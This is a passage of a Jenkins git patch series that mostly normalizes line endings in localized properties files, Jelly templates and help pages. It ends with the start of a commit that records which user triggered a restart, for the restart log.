OTHER -# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN -# THE SOFTWARE. - -Error=Fehler -OS\ Name=Betriebssystem -VM\ Name=VM Name -Vendor=Hersteller -Version=Version -Detected\ JVM=Gefundene JVM -errorMessage=\ - Die gefundene Java Virtual Machine (JVM) wird von Jenkins nicht untersttzt. \ - Jenkins ist auf die Bibliothek XStream angewiesen, welche aber nicht mit der \ - gefundenen JVM funktioniert. \ - Mehr dazu... +# The MIT License +# +# Copyright (c) 2004-2009, Sun Microsystems, Inc., Kohsuke Kawaguchi, Seiji Sogabe, Simon Wiest +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. + +Error=Fehler +OS\ Name=Betriebssystem +VM\ Name=VM Name +Vendor=Hersteller +Version=Version +Detected\ JVM=Gefundene JVM +errorMessage=\ + Die gefundene Java Virtual Machine (JVM) wird von Jenkins nicht untersttzt. \ + Jenkins ist auf die Bibliothek XStream angewiesen, welche aber nicht mit der \ + gefundenen JVM funktioniert. \ + Mehr dazu... diff --git a/core/src/main/resources/hudson/util/InsufficientPermissionDetected/index_de.properties b/core/src/main/resources/hudson/util/InsufficientPermissionDetected/index_de.properties index 23904e44e7..c9a9967892 100644 --- a/core/src/main/resources/hudson/util/InsufficientPermissionDetected/index_de.properties +++ b/core/src/main/resources/hudson/util/InsufficientPermissionDetected/index_de.properties @@ -1,33 +1,33 @@ -# The MIT License -# -# Copyright (c) 2004-2009, Sun Microsystems, Inc., Kohsuke Kawaguchi, Simon Wiest -# -# Permission is hereby granted, free of charge, to any person obtaining a copy -# of this software and associated documentation files (the "Software"), to deal -# in the Software without restriction, including without limitation the rights -# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -# copies of the Software, and to permit persons to whom the Software is -# furnished to do so, subject to the following conditions: -# -# The above copyright notice and this permission notice shall be included in -# all copies or substantial portions of the Software. -# -# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN -# THE SOFTWARE. - -Error=Fehler -errorMessage.1=\ - Jenkins scheint nicht gengend Ausfhrungsrechte zu besitzen (vgl. untenstehenden \ - Stacktrace). Eine hufige Ursache dafr ist ein aktivierter Security Manager. \ - Ist dieser absichtlich aktiviert, mssen Sie Jenkins ausreichende Ausfhrungsrechte \ - zuteilen. Falls nicht (oder Sie keinen blassen Schimmer haben, was ein "Security \ - Manager" ist), ist es am Einfachsten, den Security Manager abzuschalten. -errorMessage.2=\ - Wie Sie den Security Manager Ihres Web-Containers abschalten, entnehmen Sie \ - der containerspezifischen \ - Jenkins-Dokumentation. +# The MIT License +# +# Copyright (c) 2004-2009, Sun Microsystems, Inc., Kohsuke Kawaguchi, Simon Wiest +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. + +Error=Fehler +errorMessage.1=\ + Jenkins scheint nicht gengend Ausfhrungsrechte zu besitzen (vgl. untenstehenden \ + Stacktrace). Eine hufige Ursache dafr ist ein aktivierter Security Manager. \ + Ist dieser absichtlich aktiviert, mssen Sie Jenkins ausreichende Ausfhrungsrechte \ + zuteilen. Falls nicht (oder Sie keinen blassen Schimmer haben, was ein "Security \ + Manager" ist), ist es am Einfachsten, den Security Manager abzuschalten. +errorMessage.2=\ + Wie Sie den Security Manager Ihres Web-Containers abschalten, entnehmen Sie \ + der containerspezifischen \ + Jenkins-Dokumentation. diff --git a/core/src/main/resources/hudson/util/NoHomeDir/index_de.properties b/core/src/main/resources/hudson/util/NoHomeDir/index_de.properties index c834d9aa69..05f9fe5256 100644 --- a/core/src/main/resources/hudson/util/NoHomeDir/index_de.properties +++ b/core/src/main/resources/hudson/util/NoHomeDir/index_de.properties @@ -1,32 +1,32 @@ -# The MIT License -# -# Copyright (c) 2004-2010, Sun Microsystems, Inc., Kohsuke Kawaguchi, Simon Wiest -# -# Permission is hereby granted, free of charge, to any person obtaining a copy -# of this software and associated documentation files (the "Software"), to deal -# in the Software without restriction, including without limitation the rights -# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -# copies of the Software, and to permit persons to whom the Software is -# furnished to do so, subject to the following conditions: -# -# The above copyright notice and this permission notice shall be included in -# all copies or substantial portions of the Software. -# -# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN -# THE SOFTWARE. - -Error=Fehler -errorMessage.1=\ - Das Stammverzeichnis ''{0}'' konnte nicht angelegt werden. In den meisten Fllen ist \ - dies ein Dateirechte-Problem. -errorMessage.2=\ - Um das Stammverzeichnis zu ndern, verwenden Sie die Umgebungsvariable JENKINS_HOME \ - oder die Java-Systemeigenschaft JENKINS_HOME. Weitere Details entnehmen Sie \ - der containerspezifischen \ - Jenkins-Dokumentation. - +# The MIT License +# +# Copyright (c) 2004-2010, Sun Microsystems, Inc., Kohsuke Kawaguchi, Simon Wiest +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. + +Error=Fehler +errorMessage.1=\ + Das Stammverzeichnis ''{0}'' konnte nicht angelegt werden. In den meisten Fllen ist \ + dies ein Dateirechte-Problem. +errorMessage.2=\ + Um das Stammverzeichnis zu ndern, verwenden Sie die Umgebungsvariable JENKINS_HOME \ + oder die Java-Systemeigenschaft JENKINS_HOME. Weitere Details entnehmen Sie \ + der containerspezifischen \ + Jenkins-Dokumentation. + diff --git a/core/src/main/resources/hudson/views/BuildButtonColumn/column_lt.properties b/core/src/main/resources/hudson/views/BuildButtonColumn/column_lt.properties index 9194f2a464..7a6d26a1d9 100644 --- a/core/src/main/resources/hudson/views/BuildButtonColumn/column_lt.properties +++ b/core/src/main/resources/hudson/views/BuildButtonColumn/column_lt.properties @@ -1,25 +1,25 @@ -# The MIT License -# -# Copyright (c) 2004-2010, Sun Microsystems, Inc. -# -# Permission is hereby granted, free of charge, to any person obtaining a copy -# of this software and associated documentation files (the "Software"), to deal -# in the Software without restriction, including without limitation the rights -# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -# copies of the Software, and to permit persons to whom the Software is -# furnished to do so, subject to the following conditions: -# -# The above copyright notice and this permission notice shall be included in -# all copies or substantial portions of the Software. -# -# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN -# THE SOFTWARE. - -Build_scheduled=U\u017Eduotis suplanuota -Schedule_a_build=Paruo\u0161ti vykdymui: {0} -#Schedule_a_build_with_parameters= +# The MIT License +# +# Copyright (c) 2004-2010, Sun Microsystems, Inc. +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. + +Build_scheduled=U\u017Eduotis suplanuota +Schedule_a_build=Paruo\u0161ti vykdymui: {0} +#Schedule_a_build_with_parameters= diff --git a/core/src/main/resources/jenkins/triggers/ReverseBuildTrigger/config_de.properties b/core/src/main/resources/jenkins/triggers/ReverseBuildTrigger/config_de.properties index 764ba98227..75c162d626 100644 --- a/core/src/main/resources/jenkins/triggers/ReverseBuildTrigger/config_de.properties +++ b/core/src/main/resources/jenkins/triggers/ReverseBuildTrigger/config_de.properties @@ -1,26 +1,26 @@ -# The MIT License -# -# Copyright (c) 2004-2015, Sun Microsystems, Inc., Kohsuke Kawaguchi, Simon Wiest -# -# Permission is hereby granted, free of charge, to any person obtaining a copy -# of this software and associated documentation files (the "Software"), to deal -# in the Software without restriction, including without limitation the rights -# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -# copies of the Software, and to permit persons to whom the Software is -# furnished to do so, subject to the following conditions: -# -# The above copyright notice and this permission notice shall be included in -# all copies or substantial portions of the Software. -# -# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN -# THE SOFTWARE. - -Projects\ to\ watch=Zu berwachende Projekte -Trigger\ only\ if\ build\ is\ stable=Nur auslsen, wenn der Build stabil ist -Trigger\ even\ if\ the\ build\ is\ unstable=Auslsen, selbst wenn der Build instabil ist +# The MIT License +# +# Copyright (c) 2004-2015, Sun Microsystems, Inc., Kohsuke Kawaguchi, Simon Wiest +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. + +Projects\ to\ watch=Zu berwachende Projekte +Trigger\ only\ if\ build\ is\ stable=Nur auslsen, wenn der Build stabil ist +Trigger\ even\ if\ the\ build\ is\ unstable=Auslsen, selbst wenn der Build instabil ist Trigger\ even\ if\ the\ build\ fails=Auslsen, selbst wenn der Build fehlschlgt \ No newline at end of file diff --git a/core/src/main/resources/lib/form/booleanRadio.jelly b/core/src/main/resources/lib/form/booleanRadio.jelly index ea88952312..2f9bca9b9b 100644 --- a/core/src/main/resources/lib/form/booleanRadio.jelly +++ b/core/src/main/resources/lib/form/booleanRadio.jelly @@ -1,47 +1,47 @@ - - - - - Binds a boolean field to two radio buttons that say Yes/No OK/Cancel Top/Bottom. - - - Databinding field. - - - Text to be displayed for the 'true' value. Defaults to 'Yes'. - - - Text to be displayed for the 'false' value. Defaults to 'No'. - - - - - - - - - - + + + + + Binds a boolean field to two radio buttons that say Yes/No OK/Cancel Top/Bottom. + + + Databinding field. + + + Text to be displayed for the 'true' value. Defaults to 'Yes'. + + + Text to be displayed for the 'false' value. Defaults to 'No'. + + + + + + + + + + diff --git a/core/src/main/resources/lib/form/optionalProperty.jelly b/core/src/main/resources/lib/form/optionalProperty.jelly index cccf94e70c..7a9d75bb4f 100644 --- a/core/src/main/resources/lib/form/optionalProperty.jelly +++ b/core/src/main/resources/lib/form/optionalProperty.jelly @@ -1,46 +1,46 @@ - - - - - - Renders inline an optional single-value nested data-bound property of the current instance, - by using a <f:optionalBlock> - - This is useful when your object composes another data-bound object, and when that's optional, - where the absence of the value is signified as null (in which case the optionalBlock will be drawn unchecked), - and the presence of the value. - - - - - - - - - + + + + + + Renders inline an optional single-value nested data-bound property of the current instance, + by using a <f:optionalBlock> + + This is useful when your object composes another data-bound object, and when that's optional, + where the absence of the value is signified as null (in which case the optionalBlock will be drawn unchecked), + and the presence of the value. + + + + + + + + + \ No newline at end of file diff --git a/core/src/main/resources/lib/hudson/project/config-customWorkspace_ja.properties b/core/src/main/resources/lib/hudson/project/config-customWorkspace_ja.properties index 5597e2694f..0737289e39 100644 --- a/core/src/main/resources/lib/hudson/project/config-customWorkspace_ja.properties +++ b/core/src/main/resources/lib/hudson/project/config-customWorkspace_ja.properties @@ -1,24 +1,24 @@ -# The MIT License -# -# Copyright (c) 2004-2012, Sun Microsystems, Inc., Kohsuke Kawaguchi, Seiji Sogabe -# -# Permission is hereby granted, free of charge, to any person obtaining a copy -# of this software and associated documentation files (the "Software"), to deal -# in the Software without restriction, including without limitation the rights -# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -# copies of the Software, and to permit persons to whom the Software is -# furnished to do so, subject to the following conditions: -# -# The above copyright notice and this permission notice shall be included in -# all copies or substantial portions of the Software. -# -# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN -# THE SOFTWARE. - -Use\ custom\ workspace=\u30ab\u30b9\u30bf\u30e0\u30ef\u30fc\u30af\u30b9\u30da\u30fc\u30b9\u3092\u4f7f\u7528 +# The MIT License +# +# Copyright (c) 2004-2012, Sun Microsystems, Inc., Kohsuke Kawaguchi, Seiji Sogabe +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. + +Use\ custom\ workspace=\u30ab\u30b9\u30bf\u30e0\u30ef\u30fc\u30af\u30b9\u30da\u30fc\u30b9\u3092\u4f7f\u7528 Directory=\u30c7\u30a3\u30ec\u30af\u30c8\u30ea \ No newline at end of file diff --git a/core/src/main/resources/windows-service/jenkins.xml b/core/src/main/resources/windows-service/jenkins.xml index d677bacf0a..2bc1e79c4e 100644 --- a/core/src/main/resources/windows-service/jenkins.xml +++ b/core/src/main/resources/windows-service/jenkins.xml @@ -1,50 +1,50 @@ - - - - - jenkins - Jenkins - This service runs Jenkins continuous integration system. - - - java - -Xrs -Xmx256m -Dhudson.lifecycle=hudson.lifecycle.WindowsServiceLifecycle -jar "%BASE%\jenkins.war" --httpPort=8080 --webroot="%BASE%\war" - - rotate - - - + + + + + jenkins + Jenkins + This service runs Jenkins continuous integration system. + + + java + -Xrs -Xmx256m -Dhudson.lifecycle=hudson.lifecycle.WindowsServiceLifecycle -jar "%BASE%\jenkins.war" --httpPort=8080 --webroot="%BASE%\war" + + rotate + + + diff --git a/test/src/test/resources/lib/form/NameRefTest/JenkinsRuleWithJelly/test1.jelly b/test/src/test/resources/lib/form/NameRefTest/JenkinsRuleWithJelly/test1.jelly index 046e21ac30..be957dcd45 100644 --- a/test/src/test/resources/lib/form/NameRefTest/JenkinsRuleWithJelly/test1.jelly +++ b/test/src/test/resources/lib/form/NameRefTest/JenkinsRuleWithJelly/test1.jelly @@ -1,46 +1,46 @@ - - - + + + - - - - - -
                    -
                    -
                    - -
                    - - - - - - - - + + + + + +
                    +
                    +
                    + +
                    + + + + + + + + diff --git a/war/src/main/webapp/WEB-INF/jboss-web.xml b/war/src/main/webapp/WEB-INF/jboss-web.xml index a659be9d18..9190f0d252 100644 --- a/war/src/main/webapp/WEB-INF/jboss-web.xml +++ b/war/src/main/webapp/WEB-INF/jboss-web.xml @@ -1,12 +1,12 @@ - - - - - COOKIE - - - - + + + + + COOKIE + + + + diff --git a/war/src/main/webapp/help/scm-browsers/list_de.html b/war/src/main/webapp/help/scm-browsers/list_de.html index 67321ee12a..38b3d26aac 100644 --- a/war/src/main/webapp/help/scm-browsers/list_de.html +++ b/war/src/main/webapp/help/scm-browsers/list_de.html @@ -1,9 +1,9 @@ -
                    - Ergänzt den Abschnitt "Änderungen" um Verweise auf einen externen - Repository-Browser. - - In der Einstellung "Auto" versucht Jenkins, den Repository-Browser aus anderen - Jobs abzuleiten. Dazu muss das SCM des vorliegenden Jobs von einem Repository-Browser - unterstützt werden und ein anderer Job existieren, dessen Verbindung zu einem - solchen Repository-Browser bereits vollständig konfiguriert wurde. -
                    +
                    + Ergänzt den Abschnitt "Änderungen" um Verweise auf einen externen + Repository-Browser. + + In der Einstellung "Auto" versucht Jenkins, den Repository-Browser aus anderen + Jobs abzuleiten. Dazu muss das SCM des vorliegenden Jobs von einem Repository-Browser + unterstützt werden und ein anderer Job existieren, dessen Verbindung zu einem + solchen Repository-Browser bereits vollständig konfiguriert wurde. +
                    diff --git a/war/src/main/webapp/help/system-config/homeDirectory_zh_CN.html b/war/src/main/webapp/help/system-config/homeDirectory_zh_CN.html index 2f7a337c4b..791f1e7830 100644 --- a/war/src/main/webapp/help/system-config/homeDirectory_zh_CN.html +++ b/war/src/main/webapp/help/system-config/homeDirectory_zh_CN.html @@ -1,14 +1,14 @@ -
                    - Jenkins储存所有的数据文件在这个目录下. - 你可以通过以下几种方式更改: -
                      -
                    1. - 使用你Web容器的管理工具设置JENKINS_HOME环境参数. -
                    2. - 在启动Web容器之前设置JENKINS_HOME环境变量. -
                    3. - (不推荐)更改Jenkins.war(或者在展开的Web容器)内的web.xml配置文件. -
                    - 这个值在Jenkins运行时是不能更改的. - 其通常用来确保你的配置是否生效. -
                    +
                    + Jenkins储存所有的数据文件在这个目录下. + 你可以通过以下几种方式更改: +
                      +
                    1. + 使用你Web容器的管理工具设置JENKINS_HOME环境参数. +
                    2. + 在启动Web容器之前设置JENKINS_HOME环境变量. +
                    3. + (不推荐)更改Jenkins.war(或者在展开的Web容器)内的web.xml配置文件. +
                    + 这个值在Jenkins运行时是不能更改的. + 其通常用来确保你的配置是否生效. +
                    diff --git a/war/src/main/webapp/help/system-config/master-slave/numExecutors_zh_CN.html b/war/src/main/webapp/help/system-config/master-slave/numExecutors_zh_CN.html index 1064329f41..ae99a445c0 100644 --- a/war/src/main/webapp/help/system-config/master-slave/numExecutors_zh_CN.html +++ b/war/src/main/webapp/help/system-config/master-slave/numExecutors_zh_CN.html @@ -1,11 +1,11 @@ -
                    - 这个值控制着Jenkins并发构建的数量. - 因此这个值会影响Jenkins系统的负载压力. - 使用处理器个数作为其值会是比较好的选择. - -

                    - 增大这个值会使每个构建的运行时间更长,但是这能够增大整体的构建数量,因为当一个项目在等待I/O时它允许CPU去构建另一个项目. - -

                    - 设置这个值为0对于从Jenkins移除一个失效的从节点非常有用,并且不会丢失配置信息。 +

                    + 这个值控制着Jenkins并发构建的数量. + 因此这个值会影响Jenkins系统的负载压力. + 使用处理器个数作为其值会是比较好的选择. + +

                    + 增大这个值会使每个构建的运行时间更长,但是这能够增大整体的构建数量,因为当一个项目在等待I/O时它允许CPU去构建另一个项目. + +

                    + 设置这个值为0对于从Jenkins移除一个失效的从节点非常有用,并且不会丢失配置信息。

                    \ No newline at end of file diff --git a/war/src/main/webapp/help/system-config/master-slave/usage_zh_CN.html b/war/src/main/webapp/help/system-config/master-slave/usage_zh_CN.html index 77ef434449..6336c180d5 100644 --- a/war/src/main/webapp/help/system-config/master-slave/usage_zh_CN.html +++ b/war/src/main/webapp/help/system-config/master-slave/usage_zh_CN.html @@ -1,23 +1,23 @@ -
                    - 控制Jenkins如何在这台机器上安排构建. - -
                    -
                    - 尽可能的使用这个节点 -
                    -
                    - 这是默认和常用的设置. - 在这种模式下,Jenkins会尽可能的使用这个节点.任何时候如果一个构建能使用这个节点构建,那么Jenkins就会使用它. -
                    - -
                    - 只允许运行绑定到这台机器的Job -
                    -
                    - 这种模式下,Jenkins只会构建哪些分配到这台机器的Job. - - 这允许一个节点专门保留给某种类型的Job.例如,在Jenkins上连续的执行测试,你可以设置执行者数量为1,那么同一时间就只会有一个构建, - 一个实行者不会阻止其它构建,其它构建会在另外的节点运行. -
                    -
                    +
                    + 控制Jenkins如何在这台机器上安排构建. + +
                    +
                    + 尽可能的使用这个节点 +
                    +
                    + 这是默认和常用的设置. + 在这种模式下,Jenkins会尽可能的使用这个节点.任何时候如果一个构建能使用这个节点构建,那么Jenkins就会使用它. +
                    + +
                    + 只允许运行绑定到这台机器的Job +
                    +
                    + 这种模式下,Jenkins只会构建哪些分配到这台机器的Job. + + 这允许一个节点专门保留给某种类型的Job.例如,在Jenkins上连续的执行测试,你可以设置执行者数量为1,那么同一时间就只会有一个构建, + 一个实行者不会阻止其它构建,其它构建会在另外的节点运行. +
                    +
                    \ No newline at end of file diff --git a/war/src/main/webapp/help/system-config/systemMessage_zh_CN.html b/war/src/main/webapp/help/system-config/systemMessage_zh_CN.html index 278ea01ec9..683070dc58 100644 --- a/war/src/main/webapp/help/system-config/systemMessage_zh_CN.html +++ b/war/src/main/webapp/help/system-config/systemMessage_zh_CN.html @@ -1,5 +1,5 @@ -
                    - 这个信息会显示在首页顶部. - 用来向用户发布一些系统范围的通知或公告. - 兼容HTML标签格式. +
                    + 这个信息会显示在首页顶部. + 用来向用户发布一些系统范围的通知或公告. + 兼容HTML标签格式.
                    \ No newline at end of file diff --git a/war/src/main/webapp/help/tools/help-label_de.html b/war/src/main/webapp/help/tools/help-label_de.html index 5ea0790285..c26ab2b298 100644 --- a/war/src/main/webapp/help/tools/help-label_de.html +++ b/war/src/main/webapp/help/tools/help-label_de.html @@ -1,4 +1,4 @@ -
                    - Optionales Label, um die Ausführung dieser Installationsmethode einzuschränken. - Nur Knoten mit dem angegebenen Label werden berücksichtigt. -
                    +
                    + Optionales Label, um die Ausführung dieser Installationsmethode einzuschränken. + Nur Knoten mit dem angegebenen Label werden berücksichtigt. +
                    diff --git a/war/src/main/webapp/help/tools/help-label_zh_CN.html b/war/src/main/webapp/help/tools/help-label_zh_CN.html index 2ef8c55063..1c60f97918 100644 --- a/war/src/main/webapp/help/tools/help-label_zh_CN.html +++ b/war/src/main/webapp/help/tools/help-label_zh_CN.html @@ -1,4 +1,4 @@ -
                    - 可选的标签,用来限制是否使用这种安装方法. - 也就是说只用带有这个标签的子节点才能使用这种安装. -
                    +
                    + 可选的标签,用来限制是否使用这种安装方法. + 也就是说只用带有这个标签的子节点才能使用这种安装. +
                    -- GitLab From 4462eda829944a39f2ddfdab607d7105be8aface Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Tue, 4 Oct 2016 12:40:25 +0200 Subject: [PATCH 354/811] [FIX JENKINS-38615] Add user to restart log message --- core/src/main/java/hudson/model/UpdateCenter.java | 12 +++++++++++- 1 file changed, 11 insertions(+), 1 deletion(-) diff --git a/core/src/main/java/hudson/model/UpdateCenter.java b/core/src/main/java/hudson/model/UpdateCenter.java index cd793c9f64..289b734261 100644 --- a/core/src/main/java/hudson/model/UpdateCenter.java +++ b/core/src/main/java/hudson/model/UpdateCenter.java @@ -30,6 +30,7 @@ import hudson.Functions; import hudson.PluginManager; import hudson.PluginWrapper; import hudson.ProxyConfiguration; +import hudson.security.ACLContext; import jenkins.util.SystemProperties; import hudson.Util; import hudson.XmlFile; @@ -1371,6 +1372,11 @@ public class UpdateCenter extends AbstractModelObject implements Saveable, OnMas @Exported(inline=true) public volatile RestartJenkinsJobStatus status = new Pending(); + /** + * The name of the user that started this job + */ + private String authentication; + /** * Cancel job */ @@ -1384,6 +1390,7 @@ public class UpdateCenter extends AbstractModelObject implements Saveable, OnMas public RestartJenkinsJob(UpdateSite site) { super(site); + this.authentication = Jenkins.getAuthentication().getName(); } public synchronized void run() { @@ -1392,7 +1399,10 @@ public class UpdateCenter extends AbstractModelObject implements Saveable, OnMas } status = new Running(); try { - Jenkins.getInstance().safeRestart(); + // safeRestart records the current authentication for the log, so set it to the managing user + try (ACLContext _ = ACL.as(User.get(authentication, false, Collections.emptyMap()))) { + Jenkins.getInstance().safeRestart(); + } } catch 